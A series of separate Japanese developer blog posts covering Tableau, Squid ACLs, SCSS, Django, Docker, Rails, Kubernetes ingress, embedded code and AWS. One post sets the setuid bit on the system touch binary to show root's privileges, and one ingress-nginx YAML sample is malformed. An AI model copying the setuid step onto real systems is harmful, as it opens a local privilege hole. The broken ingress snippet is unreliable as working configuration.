- 難しい専門知識がなくても使える点が魅力。
- カンファレンスやユーザーコミュニティが充実しているので、全国のTableauユーザーと繋がって、知見を深めることが可能

# Tableauの各製品
- Tableau Desktop
    - データに接続し、図表やダッシュボードを作成するために用いる製品
    - Tableauを使用する組織で、必ず1名は使う必要がある
    - PCにインストールして使用
    - Tableau Desktop Public Edition（無償）
- Tableau Prep Builder
    - データ準備のための製品
    - Tableau Desktopで接続する前に、データの加工が必要な場合に利用
    - PCにインストールして使用
- Tableau Server/Tableau Cloud（旧・Tableau Online）
    - ビューやダッシュボードを含むワークブック、データソース、フローなどを共有・管理する基盤
    - Webブラウザからアクセスして使用
    - Tableau Server と Tableau Cloudの違い
        - Tableau Serverはユーザー自身がサーバーなどの環境を用意し、インストールから管理までユーザー自身が行う
        - Tableau Cloudは、Tableau ServerのSaaS版
- Tableau Reader
    - ワークブックの参照に特化した製品
    - 無償でダウンロード・利用可能
    - 抽出データを包含したパッケージドワークブックを参照可能
    - Tableau Readerのバージョンより新しいバージョンで作成されたワークブックは開けない
- Tableau Mobile
    - Tableau Server・Tableau Onlineにモバイル端末からアクセスするときに利用するアプリ
    - スマートフォンやタブレットにインストールして使用
- Tableau Public
    - 無償で利用可能な、ワークブックを公開するWebサービス
    - ユーザーはTableau Public用のアカウントを作成して、自分のページにワークブックをパブリッシュする
    - 全世界に公開されるので、ビジネスデータを利用するシーンには適さない
    - Google スプレッドシートに接続している場合のみ、24時間に1回の頻度でデータが更新される
# Tableauのライセンス体系
|  | Tableau Creator | Tableau Explorer | Tableau Viewer |
|:-:|:-:|:-:|:-:|
| 金額 | $70 | $42 | $15 |
| Tableau Prep Builder | ◯ |   |   |
| Tableau Desktop | ◯ |   |   |
| Tableau Cloud/Server  | ◯ | ◯ | ◯ |

# ライセンス体系の考え方
Tableauのライセンス体系は役割ベース

ビジュアル分析のサイクル（Visual Analytics Cycle）
![bp_cycle_of_visual_analysis_489x425.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/128864/8b8716a9-8db5-93e1-549d-f7fdbe206521.png)



## Tableau Creator
- 常に新たな視点での質問を持ち、創造する。周囲の人のために有用な世界を創りあげることができる人
- Visual Analytics Cycle
    - すべてを担う

## Tableau Explorer
- 常に探究心を忘れず、世界のことを知りたいと思い続ける好奇心を持つ人
- Visual Analytics Cycle
    - Get data 以外のすべてを担う

## Tableau Viewer
- 美しい数々のViewを見て心を動かし、実際の世界でアクションしていく人々
- Visual Analytics Cycle
    - Get data, Choose visual mapping 以外のすべてを担う
aclの書式と主なaclタイプ

●Squidでアクセス制御を行うためには設定ファイルsquid.confの設定項目「acl」でアクセスコントロールリスト（ACL）を定義し、設定項目「http_access」でアクセス制御を設定。

●aclの書式と主なACLタイプ

acl acl名 aclタイプ 文字列|ファイル名

・src　IPアドレス/マスク　クライアントのIPアドレスとマスク
・dst　IPアドレス/マスク　宛先のIPアドレスとマスク
・srcdomain　ドメイン名　クライアントのドメイン名
・dstdomain　ドメイン名　宛先のドメイン名
・port　ポート番号　宛先のポート番号
・arp　MACアドレス　MACアドレス
・proto　プロトコル　プロトコル
・method　メソッド名　HTTPリクエストのメソッド
・time　S|M|T|W|F|A　開始-終了　曜日と時間
・url_regex　文字列　正規表現を使ったURL
・urlpath_regex　文字列　正規表現を使ったURL(プロトコルとホスト名を除く)
・proxy_auth　ユーザ名　ユーザ認証の対象


以下はhttp_accessの書式

http_access deny|allow [!]acl名 ...

「!」を付加すると「acl名」の内容が反転。
また、http_accessでは2つ以上のACL名を指定することもできます。この場合、記述される条件はAND条件となります。つまり、全ての条件が一致した場合のみ、アクセス制御が適用

※http_accessで設定した条件は上から順に処理され、1つの条件にマッチしたらそれ以降の条件はチェックされません
SCSSの数学関数内でremを使いたいがコンパイルエラーに苦しむ人へ


# みんな大好き冒頭結論

結論、calc()で数学関数を囲う！以上！解散！

```css
calc(clamp(1.75rem, -0.8614rem + 5.4475vw, 2.625rem));
```

# 原因

SCSSでclampやmin,maxなどの数学関数を用いる際、`min(1rem,1vw)`や`clamp(1.75rem, -0.8614rem + 5.4475vw, 2.625rem)`等、**数学関数内で相対的単位**を用いた場合、コンパイルエラーが発生する。

# そもそもなぜコンパイルエラーになるのか

scssはサーバー上でコンパイルされるため、vwやremなどの相対的な単位は計算できません。そのため、異なる単位を混ぜて数学関数に指定すると、互換性のない単位というエラーが発生します。

https://stackoverflow.com/questions/54090345/sass-incompatible-units-vw-and-px

# 解決方法

calc関数で数学関数を囲うことで、サーバー上でコンパイルさせずに、ブラウザ上で処理を行うことになります。結果コンパイルエラーは発生しないことになります。

https://wordpress.org/support/topic/compiling-error-incompatible-units-vw-and-rem/

# 余談

余談になりますが[Modern fluid typography editor](https://modern-fluid-typography.vercel.app/)を用いることで簡単に流動的なfont-sizeを書けることができるのでぜひご活用ください。

https://modern-fluid-typography.vercel.app/
【AWS】勉強もくじ

## はじめに
AWSについて学んだ内容をアウトプットしていきます。
今回は、もくじということでこれからアウトプットしていく内容を書きました。


①ネットワーク構築（VPC）
②WEBサーバ構築（EC2）
③ドメイン登録（Route53）
④DBサーバ構築（RDS）
⑤オブジェクトストア（S3）
[Django REST framework] サクッと理解！！！！！！serializerでの簡単なバリデーションについて！！！


# この記事の目的
サクッとDjango REST frameworkにおけるシリアライザでのバリデーションがわかる

# 早速やってみよう

以下はカスタマーモデルの例です。
```models.py
from django.db import models
from django_ulid.models import default, ulid


class Customer(models.Model):
    id = models.CharField(
        max_length=26, primary_key=True, default=ulid.new, editable=False
    )
    name = models.CharField(max_length=50, verbose_name="名前")
    birth_of_date = models.DateField(verbose_name="生年月日")
    phone_number = models.CharField(max_length=11, verbose_name="電話番号")
    created_at = models.DateTimeField(auto_now_add=True, verbose_name="生成時刻")

    class Meta:
        verbose_name = "顧客"
        verbose_name_plural = "顧客"

```

以下は本題のカスタマーモデルのシリアライザです。
```serializers.py
import re

from datetime import date
from django.core.validators import RegexValidator
from rest_framework import serializers

from .models import Customer


class CustomerSerializer(serializers.ModelSerializer):
    """顧客情報用のシリアライザ"""

    name = serializers.CharField(
        max_length=50,
        validators=[
            RegexValidator(
                regex=r"^[ぁ-んァ-ヶ一-龯]+$", message="名前は漢字、カタカナ、ひらがなで入力してください。"
            )
        ],
    )
    phone_number = serializers.CharField(
        max_length=11,
        validators=[
            RegexValidator(regex=r"^\d+$", message="電話番号は半角数字11桁で入力してください。")
        ],
    )

    def validate_birth_of_date(self, value):
        if value >= date.today():
            raise serializers.ValidationError("生年月日が未来日です。")
        return value

    class Meta:
        model = Customer
        fields = "__all__"
        read_only_fields = ("id", "created_at")
```
# 実装しているバリデーション
### nameのバリデーション
`serializers.フィールドの型（）とすることでバリデーション処理を記述できます。`
今回は最大文字数とRegexValidatorを使用して正規表現によるバリデーションを行っています。

### phone_numberのバリデーション
ここでも同様に最大文字数とRegexValidatorを実装しています。

### validate_birth_of_dateのバリデーション
validate_birth_of_dateという独自のメソッドを定義しています。
このメソッドで、valueに渡された生年月日が今日よりも未来の日付であれば、serializers.ValidationErrorを発生させ、エラーメッセージを返します。

フィールドレベルのバリデーションとして
Serializerのサブクラスに.validate_<field_name>メソッドを追加することで、フィールドレベルのカスタムバリデーションを指定することができます。
これは、Serializerのドキュメントに記載されています。
以下が参考になります。
[Validation in REST framework Field-level validation](https://www.django-rest-framework.org/api-guide/validators/#field-level-validation)

#### 最後に
Django REST frameworkでは多種多様なバリデーションが組めるみたいなので色々試してみてください！🐰
colimaでreplicas>=2なdocker serviceにMac側から接続する方法

以前はできていたような気もするのですがMacOSがventuraになってからQEMUとの相性が良くないらしく、colima上でlistenされているポートにMacOS側からアクセスするにはdocker serviceを`--publish mode=host`で起動する必要があります。

これには罠があって、`mode=host`なサービスは各docker node内にレプリカ数が1つまでしかlistenするポートが競合して起動しません。Swarmクラスタを構成してノード数を増やせば一応回避できそうですが、これまたventureになってから上手く動かないようです。おのれ、ventura...

で、現状colimaで複数のレプリカを動かすにはMac側から直接接続することは諦めて`mode=ingress`で起動するしかないのですが、直接接続がだめならproxyを介して間接的に接続してやればokです。例えば以下のように`alpine/socat`を使ってproxyサービスを立ち上げます。

```sh
docker service create --name amqv-proxy --network {your-network} \
  --publish mode=host,target={port-on-mac},published={port-on-mac} \
  alpine/socat tcp-listen:{port-on-mac},fork,reuseaddr tcp:{service-name}:{service-port}
```

proxyは一つあれば十分なのでポート番号の競合問題はおきません。あとは対象サービスに接続するつもりでMac側からproxyに接続すればokです。これでレプリカ数>=2な環境の検証ができますね
LeetCode No.1

## 344. Reverse String

使用言語：PHP
逆さまにする関数を知っていたので、イチコロでした〜！
```
class Solution {

    /**
     * @param String[] $s
     * @return NULL
     */
    function reverseString(&$s) {
     $s = array_reverse($s);
    }
}
```

### 別の解
while文やfor文でもできるみたいですね。
while文にあまり馴染みないので、while文で解いてみました。

```
class Solution {

    /**
     * @param String[] $s
     * @return NULL
     */
    function reverseString(&$s) {
        $left = 0;
        $right = count($s) - 1;
        while($left < $right){
            $tmp = $s[$left];
            $s[$left] = $s[$right];
            $s[$right] = $tmp;
            $left++;
            $right--;
        }
        return $s;
    }
}


```
SCSSネストの落とし穴

## はじめに
皆さん、CSSやSCSSなどでコーディングしているとき、「セレクタの詳細度」を意識していますでしょうか？
私は全く意識せずにSCSSのネスト機能を使いまくっていたら困ったことになり、原因はセレクタの詳細度をガン無視していたことでした。

## セレクタの詳細度とは？
セレクタが競合した時にどのセレクタを適用するか、という「優先順位」を決めるための数値のこと。
「idはclassよりも優先順位が高い」「!importantを付ければ間違いない」とはよく聞きます。

そしてセレクタは一つ指定するよりも二つ指定する方が優先順位は高くなります。
例えば、
```html:html
<div class="test1 test2"></div>
```
```css:css
.test1.test2 {
  width: 300px;
  height: 300px;
  margin-top: 50px;
  background-color: red;
}
.test1 {
  width: 300px;
  height: 300px;
  margin-top: 50px;
  background-color: blue;
}
```
というファイルがあり、通常は後に書いた`background-color: blue;`が適用されるが、セレクタを二つ指定する方が優先順位が高いため、`background-color: red;`の方が適用される。
![スクリーンショット 2023-03-24 22.28.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3071346/00a89e6e-c6f5-3aa0-33c3-6840bf09a03f.png)
参考：

https://developer.mozilla.org/ja/docs/Web/CSS/Specificity
## 本題
SCSSにはネスト機能がありますが、上記で説明した通り、ネストすればするほどセレクタの詳細度は上がっていきます。
それが時に意図しない挙動の原因になる可能性を生む可能性があります。

例えば以下ののコードがあります。
```html:html
<body>
  <div class="wrapper">
    <div class="box"></div>
  </div>
</body>
```
```scss:scss
.wrapper {
  width: 100%;
  .box {
    width: 300px;
    height: 300px;
    background-color: blue;
    margin: 50px auto 0;
  }
}

@media (max-width: 600px) {
  .box {
    background-color: red;
  }
}
```
上記は、青い要素を、`@media (max-width: 600px)`で画面が600px以下になると赤色にしようとしています。
しかしこのままでは600px以下でも赤にはなりません。
[![Image from Gyazo](https://i.gyazo.com/acc0a2c224121c90a1590af285aa47e5.gif)](https://gyazo.com/acc0a2c224121c90a1590af285aa47e5)

なぜなら、セレクターの詳細度が違うからです。
コンパイルすると以下のようになります。
```css:css
.wrapper {
  width: 100%;
}
.wrapper .box {
  width: 300px;
  height: 300px;
  background-color: blue;
  margin: 50px auto 0;
}

@media (max-width: 600px) {
  .box {
    background-color: red;
  }
```
ここで、最初に説明しました「セレクターは一つより二つ指定する方が詳細度が上がり、優先順位が高くなる。」が出てきます。
`.box`より`.wrapper .box`の方が優先順位が高くなるため、色が変わらなかったのです。

ではどうすればいいのかと言えば簡単で、優先順位が同じになるようにします。
```scss:scss
.wrapper {
  width: 100%;
}
.box {
  width: 300px;
  height: 300px;
  background-color: blue;
  margin: 50px auto 0;
}

@media (max-width: 600px) {
  .box {
    background-color: red;
  }
}
```
もしくは
```scss:scss
.wrapper {
  width: 100%;
  .box {
    width: 300px;
    height: 300px;
    background-color: blue;
    margin: 50px auto 0;
  }
}

@media (max-width: 600px) {
  .wrapper {
    .box {
      background-color: red;
    }
  }
}
```
このようにすれば優先順位が同じになり、意図した通りの挙動になります。
[![Image from Gyazo](https://i.gyazo.com/594590bcb31cfe93bc3a0903eb67e92d.gif)](https://gyazo.com/594590bcb31cfe93bc3a0903eb67e92d)

## 終わりに
ネストできるとこはとりあえずネスト！、と思いネストしまくったら痛い目に遭いました。
よく考えずに書いても動くことが多いため、気にしたことがなかったのですが、これからは頭の隅に置きながらやろうと思いました...。

## 参考サイト
https://qiita.com/ryokkkke/items/ec1ca2baebe4a984f7a6
No8_ググったこと投稿(5分)_PHP系 参照渡し


## 目次
 [1.PHP　参照渡し](#1-PHP　参照渡し)

 
### きっかけ
leetcode（下記）で出てきて、参照渡しは思いついたのですが具体的に何か覚えてなかったので、調べました！
```
    function reverseString(&$s) {
        // code...
    }
```

# 1. PHP　参照渡し
 - 変数のメモリ番地（メモリ上の位置）を渡す方法で、変数のメモリ番地を渡しているため、関数内で引数の値を変更すると、呼び出し元の変数も変更されてしまいます。
     - メリット
         - 値をコピーしない分だけ高速に動作する可能性有り
     - デメリット
         - 多用するとプログラムの流れを追いかけ難くする原因になります。
   - 値渡し
       - 変数の値をコピーして渡す方法で、変数の値をコピーして渡すため、関数内で引数の値を変更しても、呼び出し元の変数に影響を及ぼすことはありません。


```
参照渡し 例）
function add (&$number) {    // 「&」を引数につける
	return ++$number;
}

$a = 1;
$b = add($a);

echo $a; //2
echo $b; //2

```
【rails】フォームに自動入力

# jsでフォームに自動入力する

## 前回の続き
https://qiita.com/kamishubaizumo/items/5506da6582e30b38766b

- jqueryの導入していない
- bootstrapの導入していない
- ruby ver 3.1
- rails ver 6.1

## javascriptファイルを用意
- app/javascript/myscript.jsを作成

``` app/javascript/packs/aplication.js
:
:
@import "myscript"
:
:
```

``` myscript.js
//ターボリンクをloadしないと、うまく動かない
document.addEventListener('turbolinks:load', () => {

  // テキストボックスを取得
  const tagInput = document.querySelector('input[name="item[tag_name]"]');

  // タグをクリックした時の処理
  const tagLinks = document.querySelectorAll('.tag-link');
  tagLinks.forEach(link => {
    link.addEventListener('click', (e) => {
      // リンクのデフォルト動作を無効化
      e.preventDefault();
      // テキストボックスの内容にタグを追加
      const clickedTag = e.target.innerText.trim();
      if (tagInput.value) {
        tagInput.value = `${tagInput.value} ${clickedTag}`;
      } else {
        tagInput.value = clickedTag;
      }
    });
  });

    //フォーム内を空にする処理
   const clearButton = document.querySelector('#clear-button');
    // クリアボタンをクリックした時の処理
    clearButton.addEventListener('click', (e) => {
    // テキストボックスを空にする
    tagInput.value = '';
  });

});
```

::: note
addEventListener
クリックされた時に実行される。
引数の e はクリックされた要素に関する情報が格納される Event オブジェクト
e.preventDefaul
クリックしたタグのデフォルトの動作（ページを遷移させること）をキャンセルする

e.target.innerText.trim()
イベントが発生した要素の、テキストを取得し、trim()で前後の空白を除いた文字列を扱う
:::

## 部分テンプレート化

``` tags/add_tag.html.erb
       
<% tag_list.each do |tag| %>
  <div><%#= tag_list.tag_name + " " %>

  <%= link_to tag.tag_name, '#', class: 'tag-link' %>
  </div>
<% end %>
```

投稿ページに貼り付ける。
``` new.html.erb

:
:
:
<button id="clear-button" type="button">クリア</button>



<p>タグをクリックすると、フォームに自動で追加されます</p>
<div>
  <%= render "tags/add_tag", tag_list: @tag_list %>
</div>

```
同じく、editにも貼り付ける



## 終わり

端折ったので、もしかしたらうまく動かない場合がありますがご了承ください。

js難しすぎる！！！
イベントリスナーやプロパティが覚えられないよう。
GPT先生に教わりながら実装したけど、理解が追いつかない。

とりあえず、タグの試作は終わったので、ポートフォリオ用のECサイト制作に取り掛かります。
ingress-nginxでCookieを使ったルーティング

# 触れる内容
- ingress-nginx-controller(NGINX ingressではない)
- クライアントから送られるHTTPリクエストのCookieでルーティング先のServiceを変える
- ingressリソースのannotationsにnginxの設定を追記する
- nginxでif文を使う

# 触れないこと
- sticky session

---
どうしても見つからなかったので書き残します。
誰かの役に立ちますように。

ですが、このやり方が正しいとは正直思えないので、スマートな方法を探しております。

# 目的

- Podのデプロイを行った後、想定通りに動作しているかを確認したい。
- イメージとしてはBlue/Greenデプロイを行ってBlueからGreenへの切り替え前に動作確認を行いたい。
- 稼働中のServiceと同じパスでアクセスしたい。

# 実装
こちらのページでnginxのifと、条件分岐を参考にしました。
[https://qiita.com/ukitazume/items/ab1c929783e87227e466](https://qiita.com/ukitazume/items/ab1c929783e87227e466)

ingressのannotationsにnginx.confのif文をそのままぶち込みます。
`if else`が使えなかったり、`&&`や`||`なども使用できないのでif文で判定し、trueならフラグ文字列を追加します。
最終的な転送先Serviceは`$proxy_upstream_name`にsetする部分で定義します。
```
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-example
  annotations:
    set $routing A;
    # Cookieにcolor=greenが含まれていたらフラグ文字Gをセットする
    if ($http_cookie ~* "color=green") { 
      set $routing G; 
    } 
    # ホストヘッダにexampleenv.com が含まれていたらフラグ文字Hを追加する
    if ($host ~* exampleenv.com) {
      set $routing "${routing}H"; 
    } 
    # Cookieとホストヘッダの条件に一致している場合にingress-nginx-controllerからServiceへ転送する
    if ($test = GH) { 
      set $proxy_upstream_name "default-service1-80; # [Namespace]-[serviceName]-[PortNumber]のフォーマットで記述
    } 
spec:
  rules:
  - host: "exampleenv.com"
    http:
      paths:
      - pathType: Prefix
        path: "/bar"
        backend:
          service:
            name: service1
            port:
              number: 80
```

# おわりに

ingress-nginxのOSSコミュニティからすると「そんな使い方は想定していないぞ！」と怒られそうではありますが、
一つのingress-nginx-controllerで複数のNamespaceへCookieの内容を条件に振り分けを行うにはこれしか思いつかなかったです。

istioのVirtualServiceやDelegeteのイメージで書けたらすっごい楽なんですがねえ。。。
といった状況です！

もっと良いやり方があればぜひ教えてください！
[Next.js] MutableRefObjectをRecoilでグローバル状態管理する方法

:::note warn
Productionでのご使用は自己責任でお願い致します。
:::

## はじめに
最近、共通MutableRefObjectをグローバルで管理する必要があったので調べてみました。

atomにuseRefで作成したrefをそのまま渡す事は出来ないみたいので、以下のアプローチになります。

※ 通常はrecoilのsetter関数での更新が推奨なので、そもそもこれを利用するケースは殆ど無いかと思います。

## ref用のatomを追加
ここではfooRefAtomとしています。

```ts
export const fooRefAtom = atom({
    key: 'bar',
    default: null,
    dangerouslyAllowMutability: true, // オブジェクトのフリーズを解除
});
```

:::note info
オブジェクトのフリーズを解除することで、プロパティの更新・拡張が行えるようになります。
:::

## コンポーネントへの渡し方

```tsx
...
// コンポーネント内
const [ fooRef, setFooRef ] = useRecoilState(fooRefAtom)

// fooRefAtomの更新関数のsetFooRefがそのまま渡せる
return (<Bar ref={setFooRef} />)
```

## 型定義の追加
atomに対象の`MutableRefObject`が持つ型そのままを渡せば完了です。

```ts
// 対象のrefが持つ型
type DefaultFooRef = BarRef | null

// ここでatomの型を指定
export const fooRefAtom = atom<DefaultFooRef>({
   key: 'bar',
   default: null,
   dangerouslyAllowMutability: true, // オブジェクトのフリーズを解除
});

```
## まとめ
MutableRefObjectをRecoilでグローバル状態管理する方法を紹介しました。
冒頭でも書きましたが、通常の利用所が有るかはわからないので、
検証目的の利用がいいかもしれないです。

## 参考文献
https://recoiljs.org/docs/api-reference/core/atom/

https://stackoverflow.com/questions/66067697/cannot-assign-to-read-only-property-current-in-react-useref

https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze
XIAO nRF52840でディープスリープからRTCタイマーを用いてウェイクアップする

Arduino開発環境にてタイマー割込みによりウェイクアップをやろうとしたところ、ライブラリの問題やら、IRQ重複やら案外手間取ったのでメモ。
※RTC1だと内部のタイマー関数等で使用しているIRQが重複してコンパイルエラーがでるためRTC2を使って回避するのがポイントっぽい。

## Arduino IDE のインストール:
Arduino IDE をダウンロードし、インストール。
https://www.arduino.cc/en/software

## Seeed XIAO nRF52840 のボード設定:
 Arduino IDE の [ファイル] > [環境設定] に進み、追加のボードマネージャURLに以下のURLを追加。
 https://files.seeedstudio.com/arduino/package_seeeduino_boards_index.json

 [ツール] > [ボード] > [ボードマネージャ] に移動し、Seeed XIAO nRF52840 を検索してインストールして対象ボードを選択。

## サンプルコード
以下、タイマー割込み時のウェイクの際にLEDを点灯させるテスト。

※当方のボードはSeeed XIAO nRF52840 Senseを使ったが無印のボード（Seeed XIAO nRF52840）でもいけるはず。

```
#include <Arduino.h>
#include <nrf.h>

const int ledPin = 13;
const uint32_t sleepTimeMs = 8000;

void setup() {
  pinMode(ledPin, OUTPUT);
  // Configure RTC2
  NRF_RTC2->PRESCALER = 0;                          // No prescaling (16MHz clock)
  NRF_RTC2->CC[0] = sleepTimeMs * 32.768;           // Compare value (32.768kHz clock)
  NRF_RTC2->EVTENSET = RTC_EVTENSET_COMPARE0_Msk;   // Enable COMPARE0 event
  NRF_RTC2->INTENSET = RTC_INTENSET_COMPARE0_Msk;   // Enable COMPARE0 interrupt
  NVIC_EnableIRQ(RTC2_IRQn);                        // Enable RTC2 interrupt
  NRF_RTC2->TASKS_START = 1;                        // Start RTC2
  digitalWrite(ledPin, LOW);
}

void loop() 
{
  delay(2000);
  digitalWrite(ledPin, HIGH);
  // Enter deep sleep mode
  __WFE();
  __SEV();
  __WFE();
}

extern "C" {
  void RTC2_IRQHandler() {
    if (NRF_RTC2->EVENTS_COMPARE[0] && (NRF_RTC2->INTENSET & RTC_INTENSET_COMPARE0_Msk)) {
      NRF_RTC2->EVENTS_COMPARE[0] = 0;
      NRF_RTC2->TASKS_CLEAR = 1;
      digitalWrite(ledPin, LOW);
    }
  }
}


```

これですっきり解決。
rootユーザってのは本当に特殊なんだなって思った

# 背景
SUID,SGIDの動作確認を色々しているときにファイルがrootグループとしては作れないのにrootユーザとしては作れたのでよく考えると不思議だなあと思い調査（rootグループとして実行することってあんまりないからね）
# 結論
① root以外のユーザがrootグループとして実行する → パーミッションに基づいて許可が決まる
② root以外のユーザがrootユーザとして実行する → パーミッション関係なく実行できる！！

# 準備
```
#こんなディレクトリ作った
d---------   2 root root    6 Mar 24 23:27 no-perm
#touch コマンドのファイル情報
-rwxr-xr-x 1 root root 58264 Jan 24  2020 /bin/touch
```
# 実験
① root以外のユーザがrootグループとして実行する
```
sudo chmod g+s `which touch`
touch /no-perm/groupfile
touch: cannot touch ‘/no-perm/groupfile’: Permission denied
# ↑ これはディレクトリの権限的に当たり前
```
② root以外のユーザがrootユーザとして実行する
```
sudo chmod g-s `which touch`
sudo chmod u+s `which touch`
touch /no-perm/userfile
sudo ll /no-perm/userfile
-rw-r--r-- 1 root root 0 Mar 24 23:37 /no-perm/userfile
# ↑ いました・・・
```
フォルダを表すURLにはスラッシュを追加する理由

URLのappendingPathComponent(_:)メソッドを使用すると、自動的にスラッシュが追加されます。フォルダを表すURLを作成する場合、最後にスラッシュを追加することが一般的ですが、最後のスラッシュを表示しないようにするには、以下のようにします。


なぜスラッシュを表示することが一般的ですか？
フォルダを表すURLにおいて、最後にスラッシュを追加するのは、一般的な慣習です。これは、スラッシュがフォルダを表す一般的な記号であり、直感的にフォルダであることがわかるからです。

また、スラッシュを追加することで、フォルダを表すURLとファイルを表すURLを区別することができます。フォルダを表すURLにはスラッシュが必要ですが、ファイルを表すURLにはスラッシュが必要ありません。スラッシュがない場合、フォルダを表すURLとファイルを表すURLが混在すると、パスの解釈が曖昧になり、エラーが発生する可能性があります。

そのため、フォルダを表すURLにはスラッシュを追加することが一般的な慣習となっています。
jupyter上でChatGPTを使えるようにした．

notebook上からopenAIのAPIを利用できるマジックコマンドを作成したという下記ツイートが目についたので，インストールの仕方や使い方をまとめます．

<blockquote class="twitter-tweet"><p lang="en" dir="ltr">💡 How to use ChatGPT in Jupyter Notebook<br><br>I created a cell magic that will allow you to talk to the OpenAI API directly from your notebook: <a href="https://t.co/ZnrT0SnjA0">pic.twitter.com/ZnrT0SnjA0</a></p>&mdash; Radek Osmulski 🇺🇦 (@radekosmulski) <a href="https://twitter.com/radekosmulski/status/1638872754064879617?ref_src=twsrc%5Etfw">March 23, 2023</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

# インストール手順

1. `pip install git+https://github.com/radekosmulski/ask_ai.git`
2. 環境変数`OPENAI_API_KEY`にご自身のOpen-AIのAPI keyを設定
```
export OPENAI_API_KEY="ご自身のopen-AI API key"
```
参照は下記
https://github.com/radekosmulski/ask_ai

# 使い方
まず`%load_ext ask_ai.magics`を実行してマジックコマンドを使用できるようにする．
あとは`%%ai_ask`をセルの先頭に記載し，後述にプロンプト記述すればjupyter上からChatGPTが使用できる
![スクリーンショット 2023-03-24 22.56.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/319390/23f50186-7e54-2839-2d00-6c66fbde8376.png)
上記は機械学習でしばしば使用されるデータのタイタニックをダウンロードする関数を作ってとchatgptに投げたもので，そのレスポンスが下記である．
![スクリーンショット 2023-03-24 23.02.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/319390/a24a7288-26a9-a9de-b0ab-fa059b7a6527.png)
過去の対話の内容を引き継いだchatをする場合は`%%ai_continue`を使用する
![スクリーンショット 2023-03-24 23.10.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/319390/d93eba0e-3b31-fa35-dd58-3efd306e57b6.png)

`%%ai_continue`は以前のメッセージをすべてコンテキストとして転送します。そのため連続して使用し続けるとレスポンスの速度が遅くなったり，コンテキストの文章量の上限に達して，エラーが返ってくるので注意が必要です．
WSL2 + VSCodeでRuboCopが動くようにしたかった

## 現象

- 通常ローカルだと、VSCodeでRubyのファイルを開くとRuboCopが作動してリアルタイムでお知らせしてくれる
- VSCode拡張機能の[WSL](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-wsl)でワークスペースを開いてrubyのファイルを開くと、  [rubocop拡張機能](https://marketplace.visualstudio.com/items?itemName=misogi.ruby-rubocop)が動作しない
    - WindowsのローカルにはにRubyインストール済み
- 開発しながら都度都度修正してキレイにしていきたいので困る、、、

## 原因

- WSLにRubyがインストールされていないからっぽい
- マウントしているWindowsのRubyがどうにか使えないかとも思ったけどむりそう

## 解決策

- WSLにRubyをインストールする
- [Code Runner](https://marketplace.visualstudio.com/items?itemName=formulahendry.code-runner)とかで試しにコード実行するときも使えるしまあいいか
- インストールはasdfを使うことにした（バージョン管理が楽なので）

### asdfインストール([公式](https://asdf-vm.com/guide/getting-started.html))

1. curlとgitを入れておく（私はすでに入れていたのでスキップ）

    ~~~sh
    sudo apt install curl git
    ~~~

2. asdfをダウンロードする

    ~~~sh
    # 指定しているバージョンは書いたときの最新です
    git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.11.3
    ~~~

3. パスを通す

    ~~~sh
    echo -e '\n. $HOME/.asdf/asdf.sh' >> ~/.bashrc
    echo -e '\n. $HOME/.asdf/completions/asdf.bash' >> ~/.bashrc
    ~~~

4. asdfがインストールできたか確認

    ~~~sh
    asdf --version
    ~~~

### Rubyのインストール

- 事前にRubyに必要なプラグインはインストールしておく(gccとか)

    ~~~sh
    sudo apt install build-essential zlib1g-dev
    ~~~

1. プラグインインストール

    ~~~sh
    asdf plugin-add ruby
    ~~~

2. Rubyをインストール

    ~~~sh
    # とりあえず最新入れとけの精神
    asdf install ruby 3.2.1
    ~~~

3. グローバルに設定

    ~~~sh
    asdf global ruby 3.2.1
    ~~~

4. インストールできたか確認

    ~~~sh
    ruby -v
    ~~~

### RuboCopのインストール

- gemをインストールする

    ~~~sh
    gem install rubocop
    gem install rubocop-rails
    ~~~

## 結果

- 動いた！
- これで意気揚々と開発ができそう！
- せっかくasdfいれたのでCode Runnerのために後ほど他にも色々インストールしようと思います
[AWS Q&A 365][Redshift Spectrum]AWSのよくある問題の毎日5選 #14

# 1. Redshift Spectrumとは何ですか？
回答：Redshift Spectrumは、Amazon S3に保存されたデータをクエリすることを可能にするAmazon Redshiftの機能です。

# 2. Redshift Spectrumはどのようなデータ形式をサポートしていますか？
回答：Redshift Spectrumは、ParquetやORCなどの構造化データと半構造化データ形式をサポートしています。

# 3. Redshift Spectrumは並列リードを実行できますか？
回答：はい、Redshift Spectrumは並列リードをサポートしています。

# 4. Amazon Redshiftのクエリ設計における推奨ベストプラクティスは何ですか？
回答：Amazon Redshiftのクエリ設計のためのベストプラクティス（p. 23）ドキュメントには、パフォーマンスを向上させるためのクエリの書き方に関する詳細な情報が記載されています。

https://docs.aws.amazon.com/redshift/latest/dg/c_designing-queries-best-practices.html

# 5. WLMクエリキューやコミットキューで時間を費やしたクエリの詳細をまとめたビューはありますか？
回答：はい、SVL_QUERY_QUEUE_INFO（p. 1543）ビューは、WLMクエリキューやコミットキューで時間を費やしたクエリの詳細をまとめたサマリーを提供します。

https://docs.aws.amazon.com/redshift/latest/dg/r_SVL_QUERY_QUEUE_INFO.html
[AWS Q&A 365][Redshift Spectrum]Daily Five Common Questions #14

# 1. What is Redshift Spectrum? 
Answer: Redshift Spectrum is an Amazon Redshift feature that allows users to query data stored in Amazon S3. 

# 2. What data formats does Redshift Spectrum support? 
Answer: Redshift Spectrum supports structured and semi-structured data formats such as Parquet and ORC. 

# 3. Can Redshift Spectrum perform parallel reads? 
Answer: Yes, Redshift Spectrum supports parallel reads. 

# 4. What is the recommended best practice for designing queries in Amazon Redshift? 
Answer: The Amazon Redshift best practices for designing queries document provides more information about how to write queries to improve performance. 

https://docs.aws.amazon.com/redshift/latest/dg/c_designing-queries-best-practices.html

# 5. Is there a view that summarizes details for queries that spent time in a WLM query queue or commit queue? 
Answer: Yes, the SVL_QUERY_QUEUE_INFO view provides a summary of details for queries that spent time in a WLM query queue or commit queue.

https://docs.aws.amazon.com/redshift/latest/dg/r_SVL_QUERY_QUEUE_INFO.html
Github fetchしようとしたらエラーが出た

# 概要

